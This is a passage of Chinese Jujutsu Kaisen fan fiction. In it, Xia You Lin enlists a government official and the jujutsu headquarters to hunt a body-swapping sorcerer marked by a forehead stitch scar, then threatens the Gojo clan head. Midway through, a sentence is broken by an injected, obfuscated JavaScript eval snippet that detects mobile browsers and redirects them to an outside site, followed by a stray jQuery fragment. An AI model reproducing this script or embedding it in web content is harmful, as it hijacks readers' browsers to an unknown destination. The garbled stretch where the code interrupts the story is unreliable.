“对了,甚尔。”
夏油凛看向坐在那里的甚尔突然开口。
“你有在禅院家看见过额头带缝合线的人吗?”
甚尔翻找了下自己的记忆。
“没有。”
他的记忆里的人脸都很模糊,毕竟他连大部分人的人名都记不清。
“缝合线?”
五条悟突然出声。
“这算是什么标记么?”
熟悉的词让小杰也有些记忆苏醒。
“姐姐你之前也好像给我提过?在总监会的时候。”
哨子:?
就她不知道?
五条悟和甚尔听到总监部到是有点意外。
“你们去总监会干什么?”
五条悟好奇的问,毕竟哪里的人和御三家的人一样的无聊。
都是烂橘子。
“为了解决哨子的学籍问题,就去打扰了下他们。”
夏油凛笑着说。
五条悟冒头:“那要不你顺路再去解决下我的学籍问题?”
他是真的不想再回五条家了。
“啊嘞嘞~那五条族长怕是会找我说事了呀。”
夏油凛捧起面前的热茶喝了一口。
热流滑过全身,让夏油凛整个人都暖洋洋的。
小猫拍胸口:“放心,我是下任族长,有什么事儿我担着。”
夏油凛眯眯眼:“那我们来做个交易如何?”
小猫:“诶?”
-----------
佐藤友启看向对面的小姑娘。
又看向一直以来合作的松平太一。
“松平你的意思是现在总监会由这位夏油小姐为首?”
说出这句话时,佐藤都感觉松平在说笑话。
然而看见松平那副认真的表情,他知道,这是真的。
夏油凛废话不多说,直接进入正题。
“今日麻烦佐藤先生您过来,是有件事需要麻烦政府部门这边配合下。”
作为政客,佐藤立马就调整好状态。
“咒术界一直为我们普通民众保驾护航,只要是合理的事,我们作为国家的一份子,自然是会配合。”
意识就是,如果无礼他们就要拒绝。
夏油凛听出的话外之音,也只是笑笑。
“我们要找一名诅咒师,活了应该有上千年了,但是不能打草惊蛇,他有个非常明显的特点。”
“上千年?活了上千年的咒术师不是只有天元么?”
佐藤疑惑,至少在明面上他们只知道活了上千年的天元。
“这个是诅咒师,他可以不停的换身体,只有脑子不变,他的特点也很显著。”
夏油凛指着额头。
“在这里,有一个很明显的缝合线,无法被用任何手段掩盖。”
佐藤听见瞳孔紧缩。
“那被霸占身体后的人会如何。”
夏油凛笑着说:“身体被霸占,原主人自然会死去,怎么,您身边有这样的人?”
佐藤想起了好几个人。
有他曾经的领导,也有在咒术界偶遇的咒术师。
但他们的下场无一例外的都是失踪。
现在看来,他们不是失踪,是死去了。
“我曾经的领导,田中在死亡前额上有一道伤疤,是一次意外事故后留下的。”
佐藤喃喃自语的说着。
夏油凛好奇的说:“在他死前,干了什么?”
“应该是,在被附身后干了什么?”
佐藤回想着当年的事情。
因为已经太早,是二十年前的事了,佐藤想了很久才开口。
那时候他还只是个小职员,但田中看他是个孤儿,经常会在工作上照顾他。
所以就算过了这么多年,他还记得那条缝合线。
自从那次事故后,田中就变了很多。
和他的交流就没有那么多了。
“那年,我记得部长主要做的事就是和咒术界建成了合作,基本上所有的条款都是部长定下的。
可是,这是在部长有缝合线之前就在做的事了。”
所以,就算是部长性情大变后也没什么人怀疑的原因。
一切还是和往常一样的按部就班。
“佐藤先生,可以麻烦您将当时先部长签署的所有文件都拿来,让我们翻阅下么?
放心,文件我们会按时归还的。”
意料之内的答案,毕竟那可是滴水不漏的娟索。
能被人感受到不对劲已经很少见了。
佐藤和他那具身体太熟了,才会发现一点点的不对劲。
佐藤思索了片刻,最终还是点头。
“我会派人尽快将文件送来,也请您在之后调查后将所有的真相告知于我。”
“当然,毕竟我们是合作伙伴。”
两人心照不宣的握手。
“对了,之前在一次任务现场,我有看见加茂家的一个人有缝合线,如果有兴趣的话,您可以去查查。”
“什么任务?”
“是一次医院的救援活动。”
佐藤回忆着当时的场景,应该是昨年的事了。
是医院的咒物突然失灵,需要人去回收和救援。
因为是东京最出名的医院,当时舆论风波还很大。
为此他也去了现场,当时哪位加茂小子额头的缝合线太显眼了,他就多看了两眼。
而加茂家因为祖上是阴阳师的原因,穿的都是狩服。
一眼就知道那个小子是加茂家的。
“医院救援资料和当年部长批准的资料,我会一道送来。”
“那夏油小姐,以后我们合作愉快?”
夏油凛含笑点头。
“合作愉快。”
伸手递过去一个御守,里面是她绘制的定位追踪符和一个护身符。
“这个就当见面礼吧,保平安的。”
佐藤接过外表平平无奇的御守,放进了自己随身携带的钱包里。
“谢谢夏油小姐,我会珍惜的。”
虽然他只是个普通人,但是和咒术师打交道变多后,自然知道一些看似不起眼的东西,说不定就在什么时候就会救他一命。
松平送走了佐藤后坐在夏油凛对面。
他现在也和夏油凛认识很久了,但是他依旧不敢在她面前放松下来。
他知道,现在他还能站在这里无非是因为夏油凛要用他来管理总监会罢了。
没有将他下台,也只是时间问题罢了。
她想要温和的渡过变权期。
只要有个导火索,他随时小命不保。
“大人,您说的缝合线其实,我也见过。”
松平低下头开口,带着些许讨好的说。
“哦?说说?”
夏油凛看向松平泰一。
“和佐藤一样,我知道的那位也是加茂家的。
这个加茂家的小子术式是血液溯源。
当时被安排进任务也是为了让现场救援更好的进行。
在那次活动后,医院的咒物就消失了。”
那个咒物很重要,当时没找回来,总监会内部还掀起了一场很大的风波。
“咒物是诅咒之王的血液。”
血液么?
夏
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16040644|178751||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
油凛想起了那个粉头发的小孩儿。
可是按照时间线,那个小孩应该还有两年才出生。
这么早就开始布局了么?
“那个加茂家的小子,后来是怎么了?”
“在一次二级咒灵任务中,因误判咒灵等级,死无全尸的在现场。”
因提到等级误判,松平又痛苦的闭上双眼。
这些时日,总监会的事务基本上都交给了孔时雨先生。
当孔时雨拿出所有任务中百分之二十都出现事故等级误判的资料询问他的时候,他就知道要完。
现在好不容易一个关键人物,又是因为等级误判被杀。
“总监会可真厉害啊,不仅仅被蛀成筛子,每次害人的手法也是半斤八两呢。”
夏油凛冷冷的调侃着。
毕竟死在战场上才是咒术师合理的意外死亡。
“查,把当时所有的文件,经手人都给我查清楚。”
夏油凛一个死命令,总监会的高层又是一场动荡。
高层的动荡,是底层的机会。
一次次的晋升考试,在总监会史无前例的开始了。
当夏油凛又扔下一个被搜魂的躯壳,孔时雨就在自己的空缺的岗位小本子上记下一个。
一条条线摸索过去。
终于,总监会巨大的动静惊动了御三家。
总监会有许多的高层也是御三家的人。
突然少那么多人,消息也这么久都没有收到,御三家都察觉到了不对。
当夏油凛站在五条宅,扔下那具躯壳,五条柒从烛光的阴影中站出来。
“夏油小姐,我想我需要一个解释。”
五条柒以为至少他们不是敌人。
但是现在的情况,有点出乎他意料了。
看着一旁虽然还活着,但是已经昏死过去的长老。
五条柒在意的不是长老的死活,而是夏油凛的立场。
毕竟,长老五条家多的是,可是这么强的人,怕是只有神子长大后才能与之匹敌。
强者,在咒术界拥有绝对的话语权。
所以,夏油凛的立场格外重要。
夏油凛将脚边的踹开,拿出火柴点燃烟斗。
“五条族长想要什么解释?”
吐出一口烟圈,斜靠在障子门上,抬眼看着黑夜里的树荫。
漆黑的夜幕,只有月辉打在泥地上的竹影。
相互交错,像是一幅黑白水墨画。
“您深夜闯入五条家,并伤害五条长老的解释。”
“无可奉告。”
夏油凛笑着看向五条柒。
原本还面容儒雅的五条柒,脸上的笑容顿时间收敛了。
“您是想与五条家为敌么?
就算是拥有了总监会的实力,您怕是也没有能与御三家抗衡的实力吧?”
站在那里的夏油凛转头看下五条柒。
夜晚里的眼睛闪着幽光,宛如鬼魅。
“如果不是想不牵扯到普通人,你猜咒术界第一批死的是谁?”
“夏油凛!”
感受到言语中的威胁,五条柒忍不住的怒吼。
下一秒,烟斗抵在他的额头上。
五条柒冷汗顿起,侵湿了衣衫。
怎么会?
怎么可能,他如何看不清她的动作。
“我们不是敌人,起码现在不是。
如果五条家是以五条悟的意志为准的话。
当然,如果你不想,那我们现在也可以是敌人。”
夏油凛脸上一如既往温柔的笑容,在月光下宛如天使,在阴影处却让五条柒不寒而栗。